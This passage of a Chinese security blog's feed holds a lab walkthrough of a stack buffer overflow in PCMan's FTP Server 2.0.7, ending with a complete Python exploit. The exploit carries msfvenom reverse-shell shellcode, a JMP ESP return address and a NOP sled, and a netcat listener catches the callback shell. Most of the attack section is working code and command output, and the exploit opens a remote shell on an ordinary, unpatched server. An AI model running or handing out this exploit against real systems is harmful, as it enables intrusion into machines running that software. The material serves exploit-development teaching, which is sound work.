aca952a94a2641dd36bc40fee82da60fb897d95eab1b7a2fc3855f7d328db64d8f88313c1179f16b258b32ca9a43be65ff9798ad665a36185cec5af51b814609d5e1e4284436c85110914b723500348285d01d342fc9130fa5e5f740b5f85e889e666ed18a74be26524ad4cbc2229705c85957dfa365ba6a990ce6525a5b084fd8b65d9441ee1888eef4f0622c3727da31ffd3f09efb9a71f2e08d26eeb6600f52bee9867593c480234d3816394684259dc93fd476c646a7706396b2d81eb6b39733d77bc50a94df414bb74f88f5f4ea4aed5c283b8168cab7626c09e800c7461cf6404a59eaeef9f90e3ba78dbe54e120f7e521c5fb0b51a682e98b843f361ab076255356fe74cfcee1390922e0868f0162bb5cc3a0025bfe4b33a6a0b44561ebd9a10927f1d18054eb5524e7b3a3409d5d5d06a80385b161c6bc9cb2529a681df578066c3eaf83bb3791a312eb64ed2329ab83eaada76c9727501250ab1307cbf8febb3bc5322807e2183445ba51510e97647a22dbca53aa31cd90c6caf3d6e741b172b6a30825f9056305225de50fd0a8f25e42a6ff5885364a3c817c86cd22631360c61076a84516710f8d0325f823b85d319890a18e6a6d53705dad69d3057dfac6ef5242dc20851efad1b57902c6a0e626837a980ecec55017eb7fbc352c2e10852f842c271513242b39ea2df94175505233da45c334ee0fd52cb4fe6eacdbe3b800a72f22a429aec4e91a0f1605a41b8b2618c89efb2a4dfda2709e5c38b764e538c1bfcfaf915552768b8a09606d497627e6d8645a2bec6c23022bfe16b7385383bb4cf3581f71f1b7c23093f58d9c7e78e10f73012a6c0ce2db42fe7ee6a855bda79d8e996e83686506a55da9e79974060d779d6507a6713b07153185172fb0851601c1f788d91db3dcb19e385da594db77c7b16e2bceaab15f7e6eecb5f0cc4a7d248a957f94800fd0395de8b17d94fa77cfc4b0e1aa0d20f761304282236e864d02e5470aa85d6a35c140d7b54623f17d57e0061ff63c061a1eb316c18006740083e67b282c3f6bce5ab0e469236602fdfee3b22db885341fdb166e758b0e57e00e99f9420fccaa0a691f79d9b51e87d9e415708c02f05ef4ff6d0af9a73beb33e62662ba0f9422870fe6870ed718aab3276b25a729817599e6f330e9727aefafe310435a5b0854f76310355a4de10b15dbe0e8d7e5592204c61f2e301b017ec2b432cf50fe5f34f491b6fabe7a29a796e97f95d2c3fc090768953a856ed18808402488fb4f2c9124486b062af95ea527869dd1af754d48d439d4a15bee4880c9e1083bb0cb29aceb8c9d08e679070509d080066790715e4e2436574934f57a2f0161ac5352a3c78f96113a1bd04db7f29db230dbd6c0aff39838b5e9985e194415a03495d98f9f8e47ecd51f65e40410e359fff91ff6fd5fa8af0ab707889fbd557859788b990016f6affbf88b27cf542b6d68b6c476058f0d13795c82e7138fcfa19b9e25ac58684d2c2b0a081bec777ce9788ad4b7398f199e8f2091cbb0e2c3d0108b088b3aa4bb1b7b9b5718cd460108d0802f78b6927ee78adf9bac08223f0a24f8685c90f0fa9a3417026c00e03ccbe1b047b48939fcc8ac9c13acce8a41a9b36dcc68d2178b82757c62116dffac9b25b727c981ed001c4eb2c072ca468b91fc2eeb6410c19d35971ec73ef52db6a2816f67e410f777b66f3a</script> <div class="hbe hbe-content"> <div class="hbe hbe-input hbe-input-up"> <input class="hbe hbe-input-field hbe-input-field-up" type="password" id="hbePass"> <label class="hbe hbe-input-label hbe-input-label-up" for="hbePass"> <span class="hbe hbe-input-label-content hbe-input-label-content-up">Hey, password is required here.</span> </label> </div> </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
<summary type="html">This post is encryped.</summary>
</entry>
<entry>
<title>PCMan's FTP Server缓冲区溢出分析与利用</title>
<link href="https://taonn.github.io/2020/11/16/PCMan-s-FTP-Server%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/"/>
<id>https://taonn.github.io/2020/11/16/PCMan-s-FTP-Server%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/</id>
<published>2020-11-16T06:43:43.000Z</published>
<updated>2021-03-16T05:31:50.528Z</updated>
<content type="html"><![CDATA[<h2 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h2><blockquote><p>WindowsXP-SP3(<code>PCMan’s FTP Server 2.0.7</code>, <code>Immunityinc debugger</code>, )</p><p>攻击机:kali 2.0</p></blockquote><p>需要的基础:<code>对x86汇编语言有一定的了解</code>,<code>python基础</code>,常用调试工具的使用</p><h2 id="缓冲区溢出基础"><a href="#缓冲区溢出基础" class="headerlink" title="缓冲区溢出基础"></a>缓冲区溢出基础</h2><p>详情参考:<a href="http://www.ywboy.cn/2020/10/06/%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90-%E4%B8%80/">缓冲区溢出原理分析(一)</a></p><p> 简单的来说,如果我们输入的数据长度超过了开发人员定义的缓冲区,那么这个数据就可以覆盖掉关键的寄存器,如EIP,EIP是指令寄存器,它存放当前指令的下一条指令的地址。如果它被来自用户输入的垃圾数据覆盖了,程序通常会崩溃,因为它跳转到的地址并尝试指向,但执行的并不是有效的指令。我们的目的就是要定制一个数据发送到程序覆盖EIP,使程序跳转到我们控制的位置,这样我们就可以执行shellcode了</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/overflow.png" alt="img"></p><blockquote><p>图片来源:<a href="http://www.legendsec.org/2020.html">http://www.legendsec.org/2020.html</a></p></blockquote><h2 id="查找缓冲区溢出"><a href="#查找缓冲区溢出" class="headerlink" title="查找缓冲区溢出"></a>查找缓冲区溢出</h2><h3 id="模糊测试-Fuzzing"><a href="#模糊测试-Fuzzing" class="headerlink" title="模糊测试(Fuzzing)"></a>模糊测试(Fuzzing)</h3><p>要完成一次缓冲区溢出测试,我们就需要知道哪里会发生缓冲区溢出,此时我们就需要进行模糊测试(fuzzing),现在我们需要发送不同长度和内容的自定义字符串找到我们要测试的输入点,如果程序崩溃,那么我们就使用调试工具调查一下为什么会崩溃,可不可以利用,这里我们以<code>PCMan’s FTP Server 2.0.7</code>为例子</p><p>首先我们来测试一下用户名这个输入点有没有存在问题。这里我们用Python编写了一个Fuzzer程序</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line">host = sys.argv[<span class="number">1</span>] <span class="comment"># receive IP</span></span><br><span class="line">port = int(sys.argv[<span class="number">2</span>])<span class="comment"># receive port</span></span><br><span class="line">fuzz = <span class="number">100</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> s.connect((host, port))</span><br><span class="line"> s.settimeout(<span class="number">2</span>)</span><br><span class="line"> s.send(<span class="string">"USER "</span> + <span class="string">"A"</span> * fuzz)</span><br><span class="line"> s.recv(<span class="number">1024</span>)</span><br><span class="line"> s.send(<span class="string">"PASS Tao"</span>)</span><br><span class="line"> s.recv(<span class="number">1024</span>)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Send str length: "</span> + str(fuzz)</span><br><span class="line"> fuzz += <span class="number">100</span></span><br><span class="line"> <span class="keyword">except</span> Exception,err:</span><br><span class="line"> <span class="keyword">print</span><span class="string">"End..., Send str length: "</span> + str(fuzz)</span><br><span class="line"> sys.exit()</span><br><span class="line"> <span class="keyword">finally</span>:</span><br><span class="line"> s.close()</span><br></pre></td></tr></table></figure><p>首先我们打开PCmanFTP运行程序:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116105219299.png" alt="image-20201116105219299"></p><p>使用<code>./fuzzing.py 172.16.10.156 21</code>, 运行脚本,发现发送到大约2000的时候挂起了,检查我们的FTP服务器,可以发现已经崩溃。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116105359862.png" alt="image-20201116105359862"></p><p>接下来我们就要来进一步研究一下,确认这错误是否可以利用,我们重新启动<code>PCmanFTP</code>程序</p><h3 id="崩溃调查"><a href="#崩溃调查" class="headerlink" title="崩溃调查"></a>崩溃调查</h3><p>打开<code>Immunityinc debugger</code>,然后<code>File->Attach</code> (首先要确保FTP程序已经在运行) </p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116105643048.png" alt="image-20201116105643048"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116105741533.png" alt="image-20201116105741533"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116105757588.png" alt="image-20201116105757588"></p><p>如上图所示,此时程序已经加载进来,是暂停状态, 我们使用快捷键<code>F9</code>让程序跑起来,也可以使用菜单栏的运行按钮</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116105907120.png" alt="image-20201116105907120"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116105943781.png" alt="image-20201116105943781"></p><p>当程序处于<code>Running</code>状态的时候,我们再一次运行<code>fuzzing.py</code>脚本。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116110423713.png" alt="image-20201116110423713"></p><p>此时我们程序崩溃,但是这里的<code>EIP</code>值并没有覆盖成我们想要<code>41414141</code>, 但是根据程序输出我们可知,发送字符达到<code>2000</code>时使得程序崩溃,此时我们猜测<code>2000</code>是大概的溢出位置(因为这里刚好导致了程序溢出,但并没有覆盖返回地址)我们再一次测试,这次测试将步长修改为<code>150</code>, 代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line">host = sys.argv[<span class="number">1</span>] <span class="comment"># receive IP</span></span><br><span class="line">port = int(sys.argv[<span class="number">2</span>])<span class="comment"># receive port</span></span><br><span class="line">fuzz = <span class="number">100</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"> s.connect((host, port))</span><br><span class="line"> s.settimeout(<span class="number">2</span>)</span><br><span class="line"> s.send(<span class="string">"USER "</span> + <span class="string">"A"</span> * fuzz)</span><br><span class="line"> s.recv(<span class="number">1024</span>)</span><br><span class="line"> s.send(<span class="string">"PASS Tao"</span>)</span><br><span class="line"> s.recv(<span class="number">1024</span>)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Send str length: "</span> + str(fuzz)</span><br><span class="line"> fuzz += <span class="number">150</span><span class="comment"># modify this</span></span><br><span class="line"> <span class="keyword">except</span> Exception,err:</span><br><span class="line"> <span class="keyword">print</span><span class="string">"End..., Send str length: "</span> + str(fuzz)</span><br><span class="line"> sys.exit()</span><br><span class="line"> <span class="keyword">finally</span>:</span><br><span class="line"> s.close()</span><br></pre></td></tr></table></figure><p>程序输出:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116111221265.png" alt="image-20201116111221265"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116111250442.png" alt="image-20201116111250442"></p><p>上图我们可以发现EIP寄存器的值是<code>41414141</code>,这意味着我们可以控制<code>EIP</code>(这也意味着我们上面的猜想是正确的),那么接下来我们要解决的问题就是哪里的A将EIP覆盖了呢?</p><h3 id="查找偏移数(Finding-the-offset)"><a href="#查找偏移数(Finding-the-offset)" class="headerlink" title="查找偏移数(Finding the offset)"></a>查找偏移数(Finding the offset)</h3><p>使用Metasploit的pattern_create工具创建一个500大小的字符串,</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116111938456.png" alt="image-20201116111938456"></p><p> 因为我们通过上面的测试,大概判断溢出字符在<code>1900~2050</code>, 那么我们填写<code>'A' * 1900 + "工具生成字符" </code>构成payload发送至FTP服务端,如上操作,我们让程序在<code>Immunityinc debugger</code>中运行起来,然后执行如下程序:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># filename: findoffset.py</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line">payload = <span class="string">"A"</span> * <span class="number">1900</span> + <span class="string">"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"</span></span><br><span class="line"></span><br><span class="line">host = sys.argv[<span class="number">1</span>] <span class="comment"># receive IP</span></span><br><span class="line">port = int(sys.argv[<span class="number">2</span>])<span class="comment"># receive port</span></span><br><span class="line"></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">s.connect((host, port))</span><br><span class="line">s.send(<span class="string">"USER "</span> + payload)</span><br><span class="line">s.recv(<span class="number">1024</span>)</span><br><span class="line">s.send(<span class="string">"PASS Tao"</span>)</span><br><span class="line">s.recv(<span class="number">1024</span>)</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116112858912.png" alt="image-20201116112858912"></p><p>可以发现,这一次EIP寄存器的值是<code>0x34644133</code>, 为了计算这个值偏移量,我们使用Metasploit中的另一个工具<code>pattern_offset</code>来确定字节数</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">./pattern_offset.rb -l 500 -q 34644133</span><br><span class="line"><span class="comment"># -q参数为要查询的地址,-l参数为要查询的字符序列的长度</span></span><br><span class="line"><span class="comment"># 上图中我们得出的地址是 0x34644133, 而生成的字符串长度为500, 因此这里使用 -l 500 -q 34644133</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116134108549.png" alt="image-20201116134108549"></p><p>计算结果为<code>101</code>, 也就是说覆盖返回地址是在<code>[2002-2005]</code> 这四个字节,我们来验证一下:</p><blockquote><p>注意,下图的1900 是我们上面findoffset.py这个程序pyload中的A字符数,而偏移量为101,那么最终覆盖EIP前的字符数就是1900+101=2001个字符</p></blockquote><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116134446739.png" alt="image-20201116134446739"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># filename: overeip.py</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line">payload = <span class="string">"A"</span> * <span class="number">2001</span> + <span class="string">"B"</span> * <span class="number">4</span></span><br><span class="line">host = sys.argv[<span class="number">1</span>] <span class="comment"># receive IP</span></span><br><span class="line">port = int(sys.argv[<span class="number">2</span>])<span class="comment"># receive port</span></span><br><span class="line"></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">s.connect((host, port))</span><br><span class="line">s.send(<span class="string">"USER "</span> + payload)</span><br><span class="line">s.recv(<span class="number">1024</span>)</span><br><span class="line">s.send(<span class="string">"PASS Tao"</span>)</span><br><span class="line">s.recv(<span class="number">1024</span>)</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116135115486.png" alt="image-20201116135115486"></p><p>执行程序:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116135306161.png" alt="image-20201116135306161"></p><p>查看windows xp,发现EIP(程序返回地址)被我们上面的4个B给覆盖了,到这一步,我们已经可以精确的覆盖EIP了</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116135248117.png" alt="image-20201116135248117"></p><h2 id="寻找shellcode位置"><a href="#寻找shellcode位置" class="headerlink" title="寻找shellcode位置"></a>寻找shellcode位置</h2><p>我们在上面程序pyload后面加100个C,然后执行</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116140101236.png" alt="image-20201116140101236"></p><p>可以看到,这里ESP指向的是我们在EIP后面给的<code>100个C</code>, 现在我们是要将C替换成我们希望运行的Shellcode。然后让EIP跳转到ESP寄存器的位置</p><h2 id="获得-EIP-to-jump"><a href="#获得-EIP-to-jump" class="headerlink" title="获得 EIP to jump"></a>获得 EIP to jump</h2><p>为什么我们不能告诉EIP去内存地址0x0012EDB8呢?因为这个地址在各个计算机上都不一样得,你不可能只想这个攻击只能攻击自己计算机吧。所以这里我们就要在程序的dll中找到具有JMP ESP命令的内存地址。这样我们就可以将EIP指向该位置,使其跳转到我们的缓冲区中。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116140431546.png" alt="image-20201116140431546"></p><p>我们这里使用<code>Immunityinc debugger</code> 在程序的dll中找到具有<code>JMP ESP</code>命令的内存地址</p><p>看看有哪些dll加载到了这个程序</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116140845375.png" alt="image-20201116140845375"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116140901583.png" alt="image-20201116140901583"></p><p>这里我们选择<code>kernel32.dll</code> 进行搜索, 搜索JMP ESP命令</p><p><code>右键-> Search for -> Command -> 输出jmp esp 搜索</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116141504015.png" alt="image-20201116141504015"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116141557567.png" alt="image-20201116141557567"></p><p>这里返回的内存地址为<code>0x7C86467B</code>, 这个地址没有坏字符(坏字符是会破坏我们漏洞的字符,如<code>0x00</code>),我们可以来利用,因为这里我们是小端显示,所以构造shellcode的时候需要倒过来写!</p><h2 id="生成shellcode"><a href="#生成shellcode" class="headerlink" title="生成shellcode"></a>生成shellcode</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/shell_reverse_tcp LHOST=172.16.10.143 LPORT=1234 EXITFUNC=thread -f python -b <span class="string">"\x00\x0a\x0d"</span> -a x86</span><br><span class="line"><span class="comment"># 0x0A表示回车,0x0D表示换行,0x00表示字符串的结束, 这些都是坏字符,会破环我们的payload</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116142804801.png" alt="image-20201116142804801"></p><p>我们在最后跳转地址加入若干NOP字符,NOP代表跳过,意味着什么都不需要操作,并且指示CPU跳过此指令。有时候可以通过在shellcode前填充NOP增加漏洞利用程序和shellcode可靠性。这里我添加30个NOP,以提高可靠性。最终exp程序为:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># filename: exp.py</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line">buf = <span class="string">""</span></span><br><span class="line">buf += <span class="string">"\xdb\xd5\xbd\x8c\x36\xb0\x37\xd9\x74\x24\xf4\x58\x2b"</span></span><br><span class="line">buf += <span class="string">"\xc9\xb1\x52\x31\x68\x17\x83\xe8\xfc\x03\xe4\x25\x52"</span></span><br><span class="line">buf += <span class="string">"\xc2\x08\xa1\x10\x2d\xf0\x32\x75\xa7\x15\x03\xb5\xd3"</span></span><br><span class="line">buf += <span class="string">"\x5e\x34\x05\x97\x32\xb9\xee\xf5\xa6\x4a\x82\xd1\xc9"</span></span><br><span class="line">buf += <span class="string">"\xfb\x29\x04\xe4\xfc\x02\x74\x67\x7f\x59\xa9\x47\xbe"</span></span><br><span class="line">buf += <span class="string">"\x92\xbc\x86\x87\xcf\x4d\xda\x50\x9b\xe0\xca\xd5\xd1"</span></span><br><span class="line">buf += <span class="string">"\x38\x61\xa5\xf4\x38\x96\x7e\xf6\x69\x09\xf4\xa1\xa9"</span></span><br><span class="line">buf += <span class="string">"\xa8\xd9\xd9\xe3\xb2\x3e\xe7\xba\x49\xf4\x93\x3c\x9b"</span></span><br><span class="line">buf += <span class="string">"\xc4\x5c\x92\xe2\xe8\xae\xea\x23\xce\x50\x99\x5d\x2c"</span></span><br><span class="line">buf += <span class="string">"\xec\x9a\x9a\x4e\x2a\x2e\x38\xe8\xb9\x88\xe4\x08\x6d"</span></span><br><span class="line">buf += <span class="string">"\x4e\x6f\x06\xda\x04\x37\x0b\xdd\xc9\x4c\x37\x56\xec"</span></span><br><span class="line">buf += <span class="string">"\x82\xb1\x2c\xcb\x06\x99\xf7\x72\x1f\x47\x59\x8a\x7f"</span></span><br><span class="line">buf += <span class="string">"\x28\x06\x2e\xf4\xc5\x53\x43\x57\x82\x90\x6e\x67\x52"</span></span><br><span class="line">buf += <span class="string">"\xbf\xf9\x14\x60\x60\x52\xb2\xc8\xe9\x7c\x45\x2e\xc0"</span></span><br><span class="line">buf += <span class="string">"\x39\xd9\xd1\xeb\x39\xf0\x15\xbf\x69\x6a\xbf\xc0\xe1"</span></span><br><span class="line">buf += <span class="string">"\x6a\x40\x15\xa5\x3a\xee\xc6\x06\xea\x4e\xb7\xee\xe0"</span></span><br><span class="line">buf += <span class="string">"\x40\xe8\x0f\x0b\x8b\x81\xba\xf6\x5c\x02\x2a\xf2\x13"</span></span><br><span class="line">buf += <span class="string">"\x32\x49\x02\x28\x11\xc4\xe4\x5a\x85\x81\xbf\xf2\x3c"</span></span><br><span class="line">buf += <span class="string">"\x88\x4b\x62\xc0\x06\x36\xa4\x4a\xa5\xc7\x6b\xbb\xc0"</span></span><br><span class="line">buf += <span class="string">"\xdb\x1c\x4b\x9f\x81\x8b\x54\x35\xad\x50\xc6\xd2\x2d"</span></span><br><span class="line">buf += <span class="string">"\x1e\xfb\x4c\x7a\x77\xcd\x84\xee\x65\x74\x3f\x0c\x74"</span></span><br><span class="line">buf += <span class="string">"\xe0\x78\x94\xa3\xd1\x87\x15\x21\x6d\xac\x05\xff\x6e"</span></span><br><span class="line">buf += <span class="string">"\xe8\x71\xaf\x38\xa6\x2f\x09\x93\x08\x99\xc3\x48\xc3"</span></span><br><span class="line">buf += <span class="string">"\x4d\x95\xa2\xd4\x0b\x9a\xee\xa2\xf3\x2b\x47\xf3\x0c"</span></span><br><span class="line">buf += <span class="string">"\x83\x0f\xf3\x75\xf9\xaf\xfc\xac\xb9\xd0\x1e\x64\xb4"</span></span><br><span class="line">buf += <span class="string">"\x78\x87\xed\x75\xe5\x38\xd8\xba\x10\xbb\xe8\x42\xe7"</span></span><br><span class="line">buf += <span class="string">"\xa3\x99\x47\xa3\x63\x72\x3a\xbc\x01\x74\xe9\xbd\x03"</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">"A"</span> * <span class="number">2001</span> + <span class="string">"\x7b\x46\x86\x7c"</span> + <span class="string">"\x90"</span> * <span class="number">30</span> + buf</span><br><span class="line">host = sys.argv[<span class="number">1</span>] <span class="comment"># receive IP</span></span><br><span class="line">port = int(sys.argv[<span class="number">2</span>])<span class="comment"># receive port</span></span><br><span class="line"></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">s.connect((host, port))</span><br><span class="line">s.send(<span class="string">"USER "</span> + payload)</span><br><span class="line">s.recv(<span class="number">1024</span>)</span><br><span class="line">s.send(<span class="string">"PASS Tao"</span>)</span><br><span class="line">s.recv(<span class="number">1024</span>)</span><br></pre></td></tr></table></figure><p>kali2.0 使用<code>nc -lp 1234</code> 监听1234端口,然后执行<code>./exp.py 172.16.10.156 21</code> </p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116143051811.png" alt="image-20201116143051811"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20201116143136212.png" alt="image-20201116143136212"></p><p>成功!</p><blockquote><p>参考文章:<a href="http://www.legendsec.org/2020.html%EF%BC%8C">http://www.legendsec.org/2020.html,</a> <a href="https://www.anquanke.com/post/id/84893">https://www.anquanke.com/post/id/84893</a></p></blockquote>]]></content>
<summary type="html"><h2 id="实验环境"><a href="#实验环境" class="headerlink" title="实验环境"></a>实验环境</h2><blockquote>
<p>WindowsXP-SP3(<code>PCMan’s FTP Server 2.0.7</cod</summary>
<category term="网络安全" scheme="https://taonn.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="溢出攻击" scheme="https://taonn.github.io/tags/%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/"/>
</entry>
<entry>
<title>upload-labs笔记</title>
<link href="https://taonn.github.io/2020/11/03/upload-labs%E7%AC%94%E8%AE%B0/"/>
<id>https://taonn.github.io/2020/11/03/upload-labs%E7%AC%94%E8%AE%B0/</id>
<published>2020-11-03T14:54:50.000Z</published>
<updated>2021-03-16T05:29:01.518Z</updated>
